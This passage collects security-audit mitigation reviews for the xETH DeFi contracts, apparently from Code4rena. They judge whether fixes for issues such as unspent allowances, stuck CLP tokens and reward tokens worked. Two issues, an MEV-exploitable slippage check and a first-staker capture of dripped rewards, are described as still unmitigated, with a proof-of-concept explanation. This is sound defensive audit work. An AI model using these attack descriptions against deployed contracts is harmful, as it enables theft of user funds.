The issue was that rebalanceUp(), removeLiquidity() and removeLiquidityOnlyStETH() uses stakedBalance(), which only counts the staked balance, to check whether there are enough tokens available for withdrawAndUnwrap() to succeed. This fails to take into account that withdrawAndUnwrap() first makes use of tokens already in the CVXStaker itself.

Mitigation review

The use of stakedBalance() has been replaced in rebalanceUp(), removeLiquidity() and removeLiquidityOnlyStETH() by a new function CVXStaker.getTotalBalance() which returns stakedBalance() + clpToken.balanceOf(address(this)). This is the correct number of tokens that must be available for withdrawAndUnwrap() to succeed.

M-04 MitigationConfirmed

Lines of code

Vulnerability details

Mitigation of M-04: Issue mitigated

Mitigated issue

M-04: Unspent allowance may break functionality in AMO
Fix: code-423n4/2023-05-xeth@793dade

The issue was that safeApprove() was used in addLiquidity() and addLiquidityOnlyStETH() which reverts if there is still some remaining allowance.

Mitigation review

The instances of safeApprove() have simply been replaced by approve(), which does not revert. The (arguably false sense of) security provided by safeApprove() by prohibiting the allowance to be set from non-zero to non-zero is not needed in addLiquidity() and addLiquidityOnlyStETH() since these functions are access restricted to the admin.

M-07 Unmitigated

Lines of code

Vulnerability details

Mitigation of M-07: Issue NOT mitigated

Mitigated issue

M-07: Incorrect slippage check in the AMO2.rebalanceUp can be attacked by MEV
Fix: code-423n4/2023-05-xeth@630114e

The issue is that since the pool is rebalanced around an imbalanced ratio with 68%-75% xETH the virtual price (which is valid for a 1:1 ratio) is underestimated, which means that the contractQuote in bestRebalanceUpQuote() will be too low, effectively having allowed for more slippage than intended.

Related issue - unable to rebalance down

A related potential issue is what happens in the case of rebalancing down. There the inverse holds: the slippage protection returns a contractQuote that is too high, which may then be the one chosen, which might cause the rebalancing down to revert. Thus the defender might be unable to rebalance down.

Mitigation review - get_virtual_price() is still wrong

The previous maxSlippageBPS has been replaced by upSlippage and downSlippage, both settable by the admin, which controls slippage in both directions independently. Previously the slippage was required to be between 0.06% and 15%, while it is now only required that it be less than 100%, which means that the remaining comment describing this is now incorrect.

Since the issue is that get_virtual_price() is inaccurate for imbalanced reserves, even if the slippage is zero the contractQuote might still be better than the defenderQuote and leave room for an MEV attack. Thus being able to set the slippage doesn't resolve this issue.

The related issue can be bypassed by allowing sufficient slippage when rebalancing down. Then the contractQuote can be made as low as needed. This is of course just to prevent reversion in rebalancing down, and the problem remains that get_virtual_price() is inaccurate.

Suggested mitigation steps

The correct price would be given by calc_withdraw_one_coin() for rebalancing up, and calc_token_amount() for rebalancing down, instead of by get_virtual_price(). But this may be manipulated.
I suppose it would be possible to calculate these oneself based on the safer get_virtual_price(); a simple constant (but settable by the admin) multiplier to adjust it might be sufficient. But it might be better to avoid MEV attacks simply by not doing large rebalance operations, such that MEV attacks would not be profitable. There are already limits in place for this: rebalanceUpCap and rebalanceDownCap. If these can be made sufficiently small then MEV attacks can be deterred. However, because of the cooldown period after rebalancing this restriction might make the defender too slow. In that case some exemption must be made, essentially allowing large rebalance operations to be split in several smaller ones in immediate succession.

M-08 MitigationConfirmed

Lines of code

Vulnerability details

Comments

The issue pointed out there is no mechanism to modify the rewardTokens[], so the new rewards added by CVX pool will stuck in the staker forever.

The mitigation commit add setRewardTokens function to modify the rewardTokens. It overwrites the rewardTokens array directly with the calldata and emits a SetRewardTokens log.

The function has auth permission check onlyOwner. Only the owner can modify the reward tokens.

M-09 MitigationConfirmed

Lines of code

Vulnerability details

Mitigation of M-09: Issue mitigated

Mitigated issue

M-09: withdrawAllAndUnwrap() the clpToken transfer to AMO.sol may be locked in the contract
Fix: code-423n4/2023-05-xeth@a840dc0

The issue was that CVXStaker.withdrawAllAndUnwrap() may transfer CLP tokens to the operator AMO2, which cannot make use of them, and hence they are stuck.

Mitigation review

The tokens are sent to the sender, which can only be the owner, instead of the operator. Furthermore a function recoverToken() is added to AMO2 which the admin can call to recover any token. This eliminates the issue.

M-05 Unmitigated

Lines of code

https://github.com/code-423n4/2023-05-xeth/blob/add-xeth/src/wxETH.sol#L230

Vulnerability details

The mitigation makes accrueDrip is disable until the totalSupply() > 0. But the lastReport blocknumber is not updated. So all the dripped rewards still are collected by the first staker when the drip modifier is called at the second time.

Impact

If wxETH drips when nothing is staked, then the first staker can claim every drop.

Proof of Concept

After patch with the mitigation, the first call to stake function will skip the _accrueDrip modifier because of totalSupply() == 0. So the lastReport blocknumber is not updated.

And the exchangeRate in the previewStake function returns INITIAL_EXCHANGE_RATE because of:

    function exchangeRate() public view returns (uint256) {
        if (_totalSupply == 0) {
            return INITIAL_EXCHANGE_RATE;
        }

So the mint amount is not changed after the mitigation for the first staker.

When some one calls the drip modifier at the second time, such as unstake from the first staker or stake from someone else, the drip modifier will accrue the dripAmount from block.number - lastReport, which begined since startDrip instead of the first stake.

So the first staker still can get all of them.

Tools Used

Manual review

Recommended Mitigation Steps

Only update the lastReport when totalSupply is zero.

if(totalSupply() == 0){
    lastReport = block.number;
    return;
}

Assessed type

MEV

M-10 MitigationConfirmed

Lines of code

Vulnerability details

The present implementation of the wxETH::stake functions permits the sending of tokens to the contract,
even if the quantity of wxETH is zero. This can result in users losing funds,
particularly when the initial deposit is only 1 wei,
and the extent to which xETH is dripped (alongside its dripping period) is taken into consideration.

Mitigation

code-423n4/2023-05-xeth@fbb2972

This PR adds the mintAmount!=0 limit
This is a precautionary measure to solve the problem of round down to 0 shares
The more important modifications are in PR for M-05 also mitigates this possibility

The mitigation resolved the original issue

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.